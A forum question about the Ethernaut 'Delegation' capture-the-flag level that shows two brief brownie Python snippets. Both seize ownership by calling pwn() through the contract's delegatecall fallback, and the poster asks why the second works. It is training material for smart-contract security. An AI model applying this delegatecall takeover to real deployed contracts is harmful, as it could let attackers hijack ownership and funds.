I am going through the Ethernaut challenges using brownie. For challenge number 6 - Delegation, I have two solutions which work.
Solution1 seems to be the intended way to solve the challenge as we can only interact with the Delegation contract
I am confused why solution2 works?
Are both contracts deployed at the same address?
Or am I "casting" the Delegation contract as a Delegate contract and somehow invoking the fallback function by calling pwn() directly?
Pretty confused as to what is exactly is happening there.
def solution1():
delegation = Delegation.at(contractAddress)
pwnSig = web3.sha3(text="pwn()")
player.transfer(delegation,data=pwnSig)
def solution2():
delegate = Delegate.at(contractAddress)
delegate.pwn({"from":player})